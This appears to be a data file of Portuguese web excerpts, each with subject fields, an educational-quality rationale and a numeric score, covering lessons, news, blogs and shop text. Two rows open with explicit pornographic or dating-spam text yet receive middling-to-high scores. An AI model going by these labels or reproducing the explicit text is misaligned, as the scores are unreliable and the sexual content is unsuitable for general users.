7 de novembro (sexta-feira) Local: Comunidade Santa Cruz +Data: 8 de novembro (sábado) Local: Comunidade Cachoeira +Data: 9 de novembro (domingo) Local: Comunidade São Gabriel. +Data: 10 de novembro (segunda-feira) Local: Comunidade Ladário São João",original,original,original,original,2,0.4 +"- Indicado para serras mármore, é ideal para corte de madeiras e derivados: madeira dura, madeira macia, placas de compensado, aglomerados, MDF e pisos laminados. +- Possui borda segmentada com revestimento de carboneto de tungstênio, proporcionando um corte rápido, seguro, sem trancos e vibrações.",original,original,original,original,1,0.2 +"A Minha Vida Dava uma Série: Sugestão para o fim-de-semana: buffet de cozido do Rio's +Sugestão para o fim-de-semana: buffet de cozido do Rio's +Cá em casa é sempre um problema quando temos que combinar almoços e jantares de família: uns gostam de uma coisa, outros gostam de outra, as crianças não gostam de nada e o resultado é que NUNCA ninguém se entende. Sendo que, quando os avós também estão incluídos no programa, a escolha torna-se ainda mais difícil. Foi por isso que fiquei felicíssima quando soube que o Rio's tem um buffet de cozido portuguesa ao Domingo! +Para quem não gosta de cozido, existe sempre a opção da carta normal: no nosso caso, marido deliciou-se com o buffet, eu com um risotto e as crianças com um sempre seguro arroz de pato. +Quem me segue no Instagram teve oportunidade de ver algumas fotografias do nosso almoço. Mas como as fotos do Rio's são bem melhores que as minhas, aqui ficam algumas imagens para vos abrir o apetite.",original,original,original,original,1,0.2 +"O madreporite de uma estrela do mar estaria localizado em que superfície? Responda: O madreporite está localizado na superfície aboral da estrela do mar, que é o lado oposto à boca. A maioria das pessoas consideraria isso o ""topo"" da estrela do mar. Explicação: As estrelas do mar têm duas superfícies: a oral e a … Ler mais +Categorias Biologia +Categorias +Categorias Seleccionar categoria Álgebra Anatomia e Fisiologia Astrofísica Astronomia Biologia Cálculo Ciência Ambiental Ciências da Terra Estatísticas Física Geometria Gramática inglesa História do Mundo História dos Estados Unidos Literatura Britânica Macroeconomia Meta socrático Microeconomia Pré-cálculo Prealgebra Psicologia Química Química Orgânica Teoria da música Trigonometria",original,original,original,original,2,0.4 +Plano de Ensino - Tema: Espaço rural e urbano no Brasil.,original,original,original,original,4,0.8 +"Seagri: Projeto de compostagem “Põe no Balde” incentiva separação de lixo orgânico | Prefeitura de Marabá - Pa +Seagri: Projeto de compostagem “Põe no Balde” incentiva separação de lixo orgânico +Post on: 26 de agosto de 2019 +É importante que toda a população participe na separação dos resíduos em três frações: orgânico, reciclável e rejeitos +Os moradores dos residenciais Jardim do Éden e Tiradentes, em Morada Nova, agora fazem parte de um projeto inovador no município que vai beneficiar centenas de famílias. O “Põe no balde” é um projeto de compostagem para reciclagem de resíduos orgânicos, desenvolvido pela Prefeitura de Marabá e financiado pelo Fundo Nacional do Meio Ambiente e o Fundo Socioambiental Caixa, que vai contemplar 30 famílias com a horta comunitária. +O projeto foi lançado pela Secretaria Municipal de Agricultura (Seagri), na manhã do último sábado, (24), no Ginásio Erlon Carlos Silva, com o apoio da Secult. Lá, os moradores tiveram a oportunidade de conhecer o projeto de perto, por meio de teatro, apresentado por alunos da Universidade Estadual do Pará, além de palestras e vídeos de engenheiros da Seagri. +Marcos Lira, engenheiro agrônomo da Seagri, explica que o projeto terá duração de dois anos e contará com a participação de toda a comunidade dos residenciais, na segregação do lixo orgânico. +A dona de casa em especial, é orientada a separar o lixo orgânico produzido na sua residência e depositar em baldes que serão deixados com a comunidade. A coleta deverá acontecer em dias alternados pelo Serviço de Saneamento Ambiental (SSAM) e enviado para o pátio de compostagem que será manipulado por horticultores, e utilizados como adubos. +“A partir do momento que a dona de casa separar esse resíduo orgânico de forma correta a gente vai poder trabalhar ele no pátio de compostagem com a transformação de adubo. É importante que toda a população participe na separação dos resíduos em três frações: orgânico, reciclável e rejeitos” observa o engenheiro. +Reully Arrais, presidente da associação de moradores do Jardim do Éden, falou da grandiosidade do projeto que vai beneficiar as áreas da Saúde e na geração de renda. A associação é quem está acompanhando o cadastro para a Horta Comunitária. +“A horta vai beneficiar o bairro. Haverá serviço de reciclagem e compostagem do lixo que vai transformar os resíduos em adubo, além disso, vamos fornecer hortaliças para a feira, para as escolas, é um ganho gigantesco, para o poder público e população” enfatizou o morador. +Wilma Lima trabalha com horticultura há um ano e está cheia de boas expectativas com o projeto “Põe no Balde”. Ela acredita que será um grande ganho para todos os moradores. +“Vai ajudar a gente, a população. O cuidado com o lixo vai evitar enchente, insetos. Eu estou cadastrada no projeto da horta e acredito que as coisas vão melhorar a partir de agora”, ressaltou a horticultora. +A geração de emprego e renda e a produção de alimentos de qualidade foram variáveis que chamaram a atenção do vereador Márcio Gonçalves, que resolveu apoiar o projeto ajudou na viabilidade dos terrenos que vão abrigar as hortas. +“Os terrenos são áreas institucionais e a gente solicitou a sevop que fizesse a limpeza dos terrenos, para preparação do solo, perfurasse os poços artesianos, puxasse rede de energia para que o projeto alavancasse. É um projeto que envolve todo o governo municipal, a maioria das secretarias e toda a comunidade”, destacou o vereador. O projeto está orçado em quase 1 milhão de reais. +Wilma Lima apoiou a iniciativa +Marcos Lira, engenheiro agrônomo da Seagri +Texto: Leydiane Silva",original,original,original,original,4,0.8 +"RE (Aprender) a respirar – Tânia da Cunha +BlogHome Blog Ansiedade, Stress RE (Aprender) a respirar +RE (Aprender) a respirar +A respiração está connosco a todo o tempo e é uma das ferramentas mais acessíveis que temos para nos ajudar a relaxar e a cultivar a consciência. Respirar é muito simples, inspiramos e expiramos ao longo da nossa vida e podemos aprender a dar importância ao poder da respiração natural para nos ajudar a lidar com a nossa vida de uma forma mais satisfatória. +Desenvolver uma consciência da respiração permite-nos criar uma âncora ao momento presente, mantendo-nos calmos, enquanto ao mesmo tempo nos permite estar abertos à experiência, seja ela qual for. Podemos aprender a deixar que a respiração respire por si só. Podemos desenvolver uma recetiva, relaxada consciência como se estivéssemos a acompanhar uma onda gentil enquanto o ar flui dentro e fora do corpo. +Convido-o agora a experimentar: +Instale-se numa posição confortável, deixe que os seus olhos se fechem levemente, e sintonize-se com a respiração. +Coloque uma mão no abdómen e a outra no peito. Respire lentamente pelo nariz permitindo que a mão sobre o abdómen suba. O seu tórax deve mover-se somente um pouco. Deixe-se ficar neste movimento e repouse a atenção na respiração. +Agora, gradualmente, prolongue cada expiração encontrando a sua própria cadência e ritmo. +De vez em quando, é natural que a mente vagueie para longe da respiração. É o que as mentes fazem. Quando notar, reconheça-o gentilmente, reparando para onde foi a mente e traga-a de volta para a respiração. +No final do exercício percorra o corpo com atenção para verificar se há alguns sinais de tensão. Compare como se sente neste momento, em relação ao modo como se sentia no início. +“A respiração faz abrir uma possibilidade diferente: a de permitir que a vida se viva a si própria durante uns momentos, a de ver qual é a sabedoria que emerge quando não se vai a correr “compor as coisas””. +Sabia que agorafobia forma-se, na maioria dos casos, depois de uma ou várias experiências de… +O Stress e as suas consequências… +O termo stress faz, cada vez mais, parte da linguagem corrente, sendo-lhe atribuída conotação negativa.… +previous post: Aprender a relaxar +next post: Ideias e dicas para reduzir o stress",original,original,original,original,3,0.6 +"Olá, pequenos detetives da matemática! Já pararam para pensar que a matemática está em todo lugar? No número da nossa casa, na hora de dividir os brinquedos com os amigos, no preço do pãozinho na padaria… E para nos ajudar a entender tudo isso, existe uma ferramenta superpoderosa: a resolução de problemas! + +Mas o que significa resolver um problema? Imagine que você é um detetive e cada problema é um mistério a ser desvendado. Precisamos encontrar pistas, analisar as informações e usar o nosso raciocínio para chegar à solução. Não é legal? + +O primeiro passo é ler o problema com muita atenção. Sublinhe ou anote as informações mais importantes. O que o problema está pedindo? Quais são os números envolvidos? Por exemplo: ""Maria tem 5 balas e ganhou mais 3 do seu amigo João. Quantas balas Maria tem agora?"" Aqui, as informações importantes são: Maria tem 5 balas, ganhou 3 balas, e queremos saber o total de balas. + +Depois de entender o problema, precisamos escolher a operação matemática certa. Adição? Subtração? Multiplicação? Divisão? No nosso exemplo, como Maria ganhou balas, vamos usar a adição: 5 + 3 = 8. Então, Maria tem agora 8 balas! Viu como é fácil? + +Vamos a outro exemplo. Imagine que você quer comprar um brinquedo que custa 12 reais, mas você só tem 7 reais. Quanto falta para você conseguir comprar o brinquedo? Aqui, precisamos usar a subtração: 12 - 7 = 5. Faltam 5 reais! + +A resolução de problemas não é apenas sobre encontrar a resposta certa. É sobre aprender a pensar, a organizar as ideias, a usar a lógica e a criatividade. E o mais importante: não tenha medo de errar! Se a resposta não estiver certa na primeira vez, tente de novo. Leia o problema com calma, procure outras pistas e experimente outras soluções. + +Resolver problemas de matemática é como brincar de detetive, desvendando mistérios e aprendendo cada vez mais sobre o mundo ao nosso redor. Então, preparem suas lupas e vamos juntos nessa aventura matemática! Que tal, depois de ler, você procurar alguns objetos em casa e inventar um problema para seus pais ou amigos resolverem?",Matemática,Resolução de problemas,anos iniciais (1º ao 5º ano),"O trecho apresenta informações relevantes sobre resolução de problemas matemáticos de forma acessível para crianças, utilizando exemplos práticos e linguagem lúdica. Introduz a ideia de identificar informações importantes e escolher a operação correta. Estimula o raciocínio lógico e a criatividade, incentivando a persistência e a experimentação, adequado ao ensino fundamental.",5,1.0 +"O projeto Dream Teens lança o seu próprio livro: Adolescentes, navegação segura por águas desconhecidas, pela Editora Coisas de Ler, 2015. +Dia 1 de novembro está a chegar, e contamos com a tua participação no Evento Dream Teens! +Se tens perguntas e dúvidas, como, por exemplo: +Se chegar mais cedo, o que faço? +Fala com o teu coordenador, que ele saberá responder! +És Dreamer? Este vídeo é para ti! +O Clube da Maçã de Alcobaça é gerido pela Associação dos Produtores da Maçã de Alcobaça - APMA, e promove um produto nacional produzido nos concelhos do litoral Oeste - a Maçã de Alcobaça. http://www.clubedamaca.pt +Dreamers, no dia 1 de novembro venham comer Maçã de Alcobaça no nosso Encontro! (não sabe como? Pergunte ao seu coordenador :) +Os Dreamers estiveram recentemente reunidos via skype para falarem sobre formas de incentivarem a participação no Projeto. Surgiu a ideia de usarmos este blog de uma forma um pouco diferente… Incluindo a TUA participação! Assim, para além de teres acesso às nossas ideias, sugestões ou projetos desenvolvidos, também terás a oportunidade de nos enviar ideias para temas, debates ou entrevistas que serão depois desenvolvidos pelos Dreamers. +Se, por outro lado, já tiveres os teus próprios projetos e achares que ainda não tiveste o devido reconhecimento, ficamos à espera de um email teu para o dt.partilhaatuahistoria@sapo.pt ! +Ganhaste recentemente uma prova de equitação? Escreveste um livro? Desenvolveste um projeto a nível das artes? Descobriste cientificamente algo novo? Se tens entre os 11 e os 20 anos, não fiques aí sentado e envia-nos um email com o teu nome, idade, localidade e experiência pela qual passaste! +Não há melhor maneira de aprendermos do que partilharmos histórias, experiências e, eventualmente, emoções! +Estamos à distância de um clique dt.partilhaatuahistoria@sapo.pt. +Fundação Calouste Gulbenkian e a história de um homem que soube usar sua fortuna e poder em benefício da humanidade +Calouste Gulbenkian era um generoso filantropo. Mantendo a tradição dos seus antepassados, apoiava várias instituições de beneficência arménias, incluindo o hospital S. Pirgiç em Istambul, onde se encontra o jazigo dos seus pais. Grande parte da sua coleção de arte arménia foi deixada ao Museu Arménio em Jerusalém. Mas a sua ação filantrópica não se limitava às Comunidades Arménias. Ao longo da sua vida, Gulbenkian fez doações regulares a uma panóplia de outras boas causas, evitando sempre que possível o reconhecimento público. +Nascido súbdito arménio do sultão otomano, adquiriu a nacionalidade britânica em 1902 e conservou-a até ao final da sua vida. Contudo, isto não o impediu de prestar serviços diplomáticos tanto ao Império Otomano como ao Império Persa. Depois de três décadas em Londres, a partir de 1918 Gulbenkian passaria a maior parte do seu tempo em Paris, mudando-se para Lisboa em 1942. +Tenho voz, faço a diferença, utilizo o espaço que me é dado para divulgar e expressar as minhas ideias e o que acredito, e quero que os outros jovens se sintam ouvidos e representados. +Expressão e Participação, dois direitos por mim adquiridos! Sou um Dreamer. Sonho, faço a diferença e mudo minha realidade. +Quer saber mais sobre o DREAM TEENS? +Publicações Aventura Social - 2010 a 2014",original,original,original,original,4,0.8 +"Você já deve ter ouvido falar em algum momento sobre os termos “cibercultura” e “convergência de mídias”. De acordo com Pierre Levy, a cibercultura é um movimento social sustentado principalmente por três pilares: a interconexão, as comunidades virtuais e a inteligência coletiva. No caso da convergência de mídias, Henry Jenkins a descreve através do comportamento migratório dos meios de comunicação e da cultura participativa em que isto implica. +Vamos conversar um pouco mais sobre os temas para entender melhor esses conceitos e começar a perceber as consequências de viver num mundo cibercultural e convergente. +Convergência de mídias +Em 2005, David Dias repetia nas aulas de Publicidade e Propaganda da ESPM, aqui em São Paulo, sobre o futuro da comunicação: convergência de mídias. O que ninguém dava muita bola naquele tempo, uma década depois se tornou disciplina obrigatória em outros centros universitários, como na vizinha Belas Artes – a matéria de Convergência de Mídias, Redes e Compartilhamento foi criada justamente pra falar sobre essa necessidade emergente que temos de entender a dinâmica da comunicação. +No dicionário, o termo convergência aparece como aquilo que “caminha para o mesmo ponto ou objetivo”. E é basicamente isso que acontece quando falamos em convergência de mídias: tudo vai e volta para um ponto central – a Internet. Através dela, deixamos de viver no mundo da comunicação unidirecional, em que grandes empresas atuavam como emissores das mensagens, e nós, usuários, leitores, consumidores, tínhamos apenas a figura do receptor. Quando a Internet passa a ser parte integrante, um item básico da sociedade, observamos um processo de midiatização, no qual as pessoas têm voz e se tornam todos emissores. É o que chamamos também de cultura participativa. +Os usuários deixam de apenas consumir as informações que lhe são destinadas e começam a também emitir suas opiniões. Um bom exemplo para o processo de midiatização e convergência de mídias são as interações que ocorrem entre usuário e marca em redes sociais como Twitter e Facebook. Quando o consumidor não se sente satisfeito com algum produto ou serviço, ele tem à disposição a gigantesca rede mundial da Internet, seja através de um post ou um tweet. A capacidade de repercussão é tanta, que as empresas passaram a se preocupar com esse poder, ouvindo seus consumidores e levando em consideração suas opiniões para feedbacks positivos ou negativos. +Esse cenário, que antes não existia nos processos de comunicação de massa, se torna premissa básica quando falamos de convergência de mídias. +Cibercultura +Como dissemos, cibercultura é um movimento social. O local de atuação desse movimento é o que chamamos de ciberespaço. Pensando no ciberespaço, a palavra “ciber” aqui age como prefixo, geralmente nos remetendo a algo tecnológico. Mas nesse caso, a abrangência é bem maior: a Internet é constituída de inúmeras fontes, entre elas as redes independentes de empresas e instituições de ensino e as mídias clássicas, como as bibliotecas e museus. Então, por lógica, não seria correto afirmar que o ciberespaço é constituído somente da Internet, pois há inúmeros fatores que a alimenta e a fez ser o que é hoje, muito antes de ela existir. +Assim como o tema de convergência de mídias se tornou tema de disciplina obrigatória, na Escola de Artes, Ciências e Humanidades da Universidade de São Paulo (EACH-USP), os alunos de todos os cursos, desde Sistemas de Informação até Gestão Ambiental, têm como opção em seu ciclo básico a disciplina de Cultura Digital. A matéria oferece uma visão social do tema, discutindo o processo de formação das sociedades modernas e o papel da cultura, com foco na influência da tecnologia e dos meios de informação e comunicação contemporâneos. +O filósofo e sociólogo Pierre Levy descreve esse movimento com três características: +Interconexão +Para Levy, essa é a mais forte característica da cibercultura e do ciberespaço. Por interconexão, entendemos a comunicação universal,...",original,original,original,original,4,0.8 +"Brasileiras Gostosas Encontros Online - Sexual +Brasileiras gostosas encontros online +By Azucena Tippetts | Published: 01.06.2018 +Anônimo, seguro, sem compromisso; Busca discreta de parceiros, encontros apaixonantes; Perfis Já conheci alguns verdadeiros cavalheiros online "". Rio de Janeiro, Brasil, tem namoro online! Com mais de milhões de usuários buscando um amor no Badoo, aqui você tem muito mais chances de. Amo - sites brasileiros de relacionamento online para encontros pela internet. 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O grupo presta consultoria em diferentes áreas, sobretudo em finanças, recursos humanos, marketing e produção. Integram a equipe do professor Carlos Oberdan Rolim e Camila Dglioumini, ambos da Urinova, o diretor da Escola da URI Cristiano Weber, a professora da Escola da URI Débora Toscani e a bolsista de extensão Márcia Santos. +Na opinião do diretor Cristiano, a partir da experiência no projeto de uma miniempresa os estudantes amadurecem, constroem segurança e inclusive podem fazer uma escolha mais assertiva do curso superior. +Ao longo das edições, o projeto tem sido remodelado com conceitos que trabalham características e comportamentos empreendedores, baseados em visões desenvolvidas pela ONU para o Empretec e para o Sebrae. No decorrer do curso, o conteúdo comportamental é mesclado com ferramentas de administração modernas como Design Thinking e Canvas.",original,original,original,original,3,0.6 +"Se já comprou na nossa loja anteriormente (e criou conta), indique os seus dados de acesso em baixo. Se é um novo cliente, avance para a secção “Detalhes de Faturação”. +Nome de utilizador ou email * +Senha * +Lembrar-me +Perdeu a sua senha? +Você tem um cupão de desconto? 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Ele fundou a cidade de Mauritsstad, encomendou a construção de um esplêndido palácio e levou a colônia a um desenvolvimento iluminado. +O artista Frans Post viajou junto com comitiva do governador, não só para documentar as conquistas militares, mas também a flora e fauna exótica. +Seus desenhos serviram de base para o livro científico de Casper Barlaeus, encomendado por João Maurício, que até hoje continua sendo um dos livros mais importantes sobre o Brasil. +O Rijksmuseum exibe 18 pinturas e gravuras de Post e várias de seus contemporâneos, complementada por uma apresentação única de manuscritos de pergaminho do palácio Johan Maurits no Brasil. +Post produziu cerca de 140 pinturas durante sua vida. Destas, quase metade são datadas, tornando possível acompanhar a evolução de seu trabalho entre 1637, o dia em que ele desembarcou no Brasil, e 1669, até a data de sua última carta. +Suas obras brasileiras assemelham-se fortemente as paisagens de seus contemporâneos de Haarlem em termos de composição, estilo e técnica. Wolfgang Stechow descreve as paisagens de Post como ""a velha garrafa cheia de vinho novo"". +Estes trabalhos retratam locais específicos no Brasil holandês, identificáveis ​​por causa da representação da topografia reconhecível e das edificações, que na maioria também incluem água. Post inclui uma seleção da vegetação brasileira, e, ocasionalmente, de aves características e outros pequenos animais em primeiro plano. +O céu é de um cinza curioso, aparentemente pesado de chuva, um aspecto que é enfatizado pelo fato de que ocupam, pelo menos, metade da tela. +O esquema de cores suaves, especialmente quando comparado com sua produção pós-brasileira, empresta-lhes uma característica de qualidade sombria quase reverencial dos holandeses das paisagens tonais a partir da década de 1620 à 1640. +Belissimas Pinturas...Os Holandeses...não nos viam como ""um país à exploração""....",original,original,original,original,4,0.8 +"Líderes mundiais e especialistas em defesa participam neste sábado (17) da tradicional Conferência de Segurança de Munique, na Alemanha. Eles discutem conflitos mundiais, como a guerra na Síria, e a segurança na Europa após a saída do Reino Unido da União Europeia, em 2019. +""Esta não é uma época, na qual possamos permitir que nossa cooperação se veja inibida, que a segurança dos nossos cidadãos seja posta em perigo por uma competição entre sócios, rigidez institucional e ideologias arraigadas"", afirmou a líder britânica em um trecho de seu discurso. ""Devemos fazer o que for mais útil, mais pragmático para garantir nossa segurança coletiva"", acrescentou. +Falando poucos minutos antes de May, o ministro das Relações Exteriores da Alemanha, Sigmar Gabriel, se mostrou conciliador. Gabriel disse que o Reino Unido contribuiu durante vários anos para a defesa da União Europeia. ""Nós devemos tentar manter relações tão próximas e produtivas quanto possível após o Brexit"", declarou o alemão. +As negociações entre britânicos e europeus progridem lentamente, devido a divergências na área comercial. +O reforço da aliança entre França e Alemanha, sem enfraquecer a Otan, também está na agenda de discussões. O presidente americano, Donald Trump, pressiona os europeus a assumir mais gastos com sua própria defesa. O presidente francês, Emmanuel Macron, já aumentou significativamente o orçamento da França nessa área e a Alemanha propõe, no acordo de coalizão que está em negociação com os sociais-democratas, maior protagonismo na segurança do bloco.",original,original,original,original,3,0.6 +"Educação Ciências Exatas e da Terra Ciências Ambientais Ciências da Saúde Letras, Artes e Cultura Ciências Humanas Políticas Públicas +Divulgação Científica e Ensino de Ciências +Eventos +A revista +Sobre Indexadores +Como publicar +Normas de publicação Formulário de envio +Edições anteriores +Este trabalho foi recuperado de uma versão anterior da revista Educação Pública. Por isso, talvez você encontre nele algum problema de formatação ou links defeituosos. Se for o caso, por favor, escreva para nosso email (educacaopublica@cecierj.edu.br) para providenciarmos o reparo. +Um continente sem teoria +Imprimir ou salvar este artigo como PDF +José Luís Fiori +No século XIX, o pensamento social europeu dedicou pouquíssima atenção ao continente americano. Mesmo os socialistas e marxistas que discutiram a “questão colonial”, no final do século, só estavam preocupados com a Ásia e a África. Nunca tiveram interesse teórico e político nos novos Estados americanos que alcançaram sua independência mas se mantiveram sob a tutela diplomática e financeira da Grã-Bretanha. Foi só no início do século XX que a teoria marxista do imperialismo se dedicou ao estudo específico da internacionalização do capital e seu papel no desenvolvimento capitalista em escala global. Assim mesmo, seu objeto seguiu sendo a competição e a guerra entre os europeus, e a maioria dos autores marxistas ainda compartilhava a visão evolucionista de Marx com relação ao futuro econômico dos países atrasados, seguros de que “os países mais desenvolvidos industrialmente mostram aos menos desenvolvidos a imagem do que será o seu próprio futuro”. +Foi só depois da década de 1920 que a III Internacional Comunista transformou o imperialismo num adversário estratégico e num obstáculo ao desenvolvimento das forças produtivas nos países “coloniais e semicoloniais”. De qualquer forma, o objeto central de todas as análises e propostas revolucionárias foi sempre, a Índia, a China, o Egito e Indonésia, muito mais do que a América Latina. Na primeira metade do século XX, os Estados Unidos já haviam se transformado numa grande potência imperialista, e o resto da América Latina foi incluída pela III Internacional, depois de 1940, na mesma estratégia geral das “revoluções nacionais”, das “revoluções democrático-burguesas” contra a aliança das forças imperialistas com as oligarquias agrárias feudais e a favor da industrialização nacional dos países periféricos. +Um pouco mais à frente, na década de 1950, a tese da “revolução democrático-burguesa” e sua defesa do desenvolvimento industrial foram reforçadas pela “economia política da Cepal (Comissão Econômica para a América Latina)”, que analisava a economia latino-americana no contexto de uma divisão internacional do trabalho entre países “centrais” e países “periféricos”. A Cepal criticava a tese das “vantagens comparativas” da teoria do comercio internacional de David Ricardo e considerava que as relações comerciais entre as duas “fatias” do sistema econômico mundial prejudicavam o desenvolvimento industrial dos países periféricos. Tratava-se de uma crítica econômica heterodoxa, de filiação keynesiama, mas do ponto de vista prático acabou convergindo com as propostas “nacional-esenvolvimentistas”, que foram hegemônicas no continente depois da Segunda Guerra Mundial. +Na década de 1960, entretanto, a Revolução Cubana, a crise econômica e a multiplicação dos golpes militares em toda a América Latina provocaram um desencanto generalizado com a estratégia “democrático-burguesa” e com a proposta cepalina da industrialização por “substituição de importações”. Sua crítica intelectual deu origem às três grandes vertentes da Teoria da Dependência, que talvez tenha sido a última tentativa de teorização latino-americana no século XX. +A primeira vertente – de filiação marxista – considerava o desenvolvimento dos países centrais e o imperialismo um obstáculo intransponível para o desenvolvimento capitalista periférico. Por isso, falava do “desenvolvimento do subdesenv...",original,original,original,original,4,0.8 +"As crianças devem ser supervisionadas por pais ou responsáveis ​​enquanto joga. O item foi feito de liga, pode ter um pouco de decapagem de tinta, se você se importar, gentilmente, não compre aqui, por favor, não explodir e danificar",original,original,original,original,1,0.2 +"Denomina-se área a medida de uma superfície. +312) Se unirmos duas ou mais figuras planas de forma que não se sobreponha nenhuma parte duma delas às outras, a superfície da figura obtida diz-se igual à soma das superfícies de todas elas. +Como vimos ( 35), duas figuras dizem-se iguais quando coincidem ou deslocando uma delas se pode fazer coincidir com a outra. Por consequência, duas superfícies planas iguais têm a mesma forma ( 1 ) e a mesma área. +Duas superfícies planas dizem-se equivalentes quando têm a mesma área independentemente da forma. +313) TEOREMA: As áreas de dois rectângulos com bases iguais estão entre si como as alturas ( Fig. 404). +( 1 ) Além de figuras iguais também os polígonos semelhantes se consideram como tendo a mesma forma, mas estes não têm, em geral, a mesma área. +Os rectângulos MNPQ e EFGH ficam divididos, respectivamente, em m e n rectângulos iguais ( 158 ), cuja área suporemos igual a a. Será, portanto, +314) Teorema: As áreas de dois rectângulos estão entre si como o produto das suas bases pelas alturas ( Fig. 405) +Cor. I – A área de um rectângulo é igual ao produto das suas dimensões. +Por ser no quadrado , e representando por a medida comum da base e da altura, teremos +315) TEOREMA: Um paralelogramo é equivalente a um rectângulo com a mesma base ( Fig. 406) +Cor. – A área de um paralelogramo é igual ao produto da base pela altura. +1) Dois lados consecutivos de um paralelogramo medem 13 cm e 20 cm e a projecção daquele lado sobre este mede 5 cm. Determinar a área do paralelogramo +317) TEOREMA: A razão das áreas de dois triângulos semelhantes é igual ao quadrado da razão de semelhança ( Fig. 408). +318) TEOREMA: A área de um losango é igual a metade do produto das diagonais (1) ( Fig. 409). +(1) Como o losango é um paralelogramo, a sua área também pode ser obtida como a do paralelogramo. +Cor. I- A área de um trapézio é igual ao produto das semi-soma das bases pela altura. +Por ser BF = CD, a área do EDF é , que é também a do trapézio BCDE, ou seja A = . +Cor. II- A área de um trapézio é igual ao produto da mediana pela altura. +6) Sejam O e O’ os centros de duas circunferências, tangentes exteriormente e TT’ o segmento da tangente comum. Determinar a área do trapézio OTTO’, sabendo que os raios das circunferências medem 9 cm e 4 cm. +320) TEOREMA: A área de um polígono regular é igual a metade do produto do perímetro pela medida do apótema (Fig. 411) +4) O comprimento de uma circunferência é 43,96 cm. Determinar: +Decomponham-se os polígonos em triângulos semelhantes (287). +Com efeito, como R = , teremos A = +Cor. II- A razão das áreas de dois círculos é igual à razão doa quadrados dos seus raios ou dos seus diâmetros. +326) Sector circular è a porção de círculo compreendida entre dois raios. Na Fig. 416 está representado o sector circular AOB. +A = R2 ( n amplitude em ângulos rectos). +15) Determinar o valor que deve ter o raio de um círculo de forma que a sua área seja expressa pelo triplo do número que exprime o comprimento da circunferência +24) Uma senhora fez um napperon de forma circular para uma mesa, sendo a parte +Se em vez de ter feito a parte da renda com 10 cm de largura a fizesse com 20 cm, quantos metros de linha seriam precisos? +1) AB é uma corda da circunferência (O) e P é um ponto equidistante dos pontos A e B. Demonstrar que OP divide ao meio o arco AB. +2) Se (Fig. 420) na circunferência (O) AB = DE e BC = CD, demonstrar que CA = DE +3) Se (Fig. 420) na circunferência (O) AB > DE e BC = CD, demonstrar que AC > CE. +4) Se (Fig.420) na circunferência (O) AC = CE e BC< CD, demonstrar que AB > DE. +5) Se (Fig.420) na circunferência (O) AC e CE estão equidistantes do centro O e AB = DE, demonstrar que BC = CD. +6) Demonstrar que são iguais as cordas paralelas tiradas pelos extremos de um diâmetro de uma circunferência. +11) Por um ponto exterior a uma circunferência tiraram-se tangentes. Se o ângulo das tangentes entre as quais está compreendida a circunferência medir 60º, demonstrar que a corda definida pelo...",original,original,original,original,4,0.8 +"Xxx vídeos - Morena fode com o professor de Yoga que esta comendo bem gostoso a vagabunda linda e assanhada em uma putaria gostosa em que a mulher adora poder ter a vara enorme a fodendo todinha. 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Pode ser contado facilmente e permite que seja atribuído um valor claro aos outros bens o preço. Por fim, o dinheiro é também uma forma de guardar um valor para o futuro. Desta forma, por exemplo, podemos guardar dinheiro para comprar uma coisa cara no futuro. +3 Qual a origem das palavras moeda e dinheiro? 02 Hoje a nossa moeda é o Euro, mas na Antiga Roma a moeda era o denário (do latim denarium > dinheiro). A casa onde eram da deusa Juno Moneta (do latim moneta > moeda). +4 O dinheiro de plástico são os cartões bancários (de crédito e de débito) que as pessoas usam para pagar as coisas sem terem de andar com dinheiro (notas e moedas). 03 O que é o dinheiro de plástico? +5 04 De onde vem o dinheiro? A emissão do dinheiro nos diversos países é da responsabilidade dos bancos emissores. Em Portugal, o banco emissor é o Banco de Portugal. 05 O Banco de Portugal pode emitir o dinheiro que quiser? Não, a quantidade de moeda (notas e moedas) emitida por cada país é controlada pelo BCE Banco Central Europeu. Por isso, o Banco de Portugal e todos os outros bancos centrais do Eurosistema só podem emitir a moeda sob autorização expressa do BCE. +6 06 O dinheiro é igual em todos os Países? Não, cada país, em regra, tem a sua moeda. Por exemplo, no Brasil é o Real (R$), nos Estados Unidos é o Dólar ($), na Inglaterra é a Libra Esterlina ( ) e no Japão é o Yen ( ). Em Portugal a moeda é o Euro ( ) desde 1 de Janeiro de Antes, a moeda em Portugal era o Escudo. O Euro é também a moeda de mais países da União Europeia. É um caso único no mundo, a mesma moeda circular em vários países por acordo entre eles. Resulta de um acordo da União Europeia que criou o Euro e o BCE Banco Central Europeu que controla a sua circulação em conjunto com os bancos centrais dos países Eurosistema. O Euro adopta a sigla EUR e o símbolo. Os países da União Europeia são livres de aderir e adoptar o Euro. Neste momento, há 16 países que já o adoptaram: Alemanha, Áustria, Bélgica, Chipre, Eslováquia, Eslovénia, Espanha, Finlândia, França, Grécia, Holanda, Irlanda, Itália, Luxemburgo, Malta e Portugal. +7 Que denominações existem para as moedas e notas de euro? 07 Nas moedas existem 8 denominações: 1, 2, 5, 10, 20 e 50 cêntimos, 1 e 2 euros. Nas notas existem 7 denominações: 5, 10, 20, 50, 100, 200 e 500 euros. Sim, existe a nota de 500 euros, é a nota de maior valor do mundo. Já viste alguma? 08 As moedas de euro são iguais em todos os países? Não, as moedas têm uma face comum e uma face diferente, em cada país em que são emitidas. Cada país tem a responsabilidade pelo fabrico das moedas que emite. No entanto, as moedas podem circular livremente em todos os países, independentemente do país em que foram emitidas. +8 09 E as notas? As notas não apresentam diferenças, independentemente do país em que são emitidas. A produção de notas de euros é feita de forma descentralizada. Isto significa que cada banco central é responsável pela produção de uma ou mais denominações, para si próprio e para fornecer a outros bancos centrais, conforme os acordos celebrados entre eles. 10 O Banco de Portugal é que fabrica as notas e moedas do Euro? Não, o fabrico do dinheiro (cunhagem das moedas e impressão das notas) é feito por empresas especializadas, sob o controlo dos bancos emissores. Em Portugal, as moedas são cunhadas pela INCM Imprensa Nacional Casa da Moeda e existe uma empresa VALORA, Serviços de Apoio à Emissão Monetária, SA que fabrica notas. +9 11 O papel das notas é diferente? O papel utilizado na p...",original,original,original,original,4,0.8 +"Jerusalém representa o fogo. Assim como as chamas que ardiam no Beit Hamikdash, o Templo Sagrado, e queimavam as oferendas, o fogo espiritual desta cidade, a mais sagrada do mundo, inspirava as almas de seus habitantes. +Tiberíades, erguida nas margens do Lago Kineret, simboliza a água. Segundo a tradição cabalística, Rabi Yitzhak Luria, o Ari, revelou a seus discípulos que se tivessem alguma dificuldade em entender alguns dos ensinamentos místicos, deveriam beber um gole da água do Kineret. Desta maneira, suas mentes absorveriam o conhecimento almejado. +Tzfat é uma cidade mística. O ar é puro, os dia luminosos e as noites iluminadas pelas mais brilhantes estrelas do 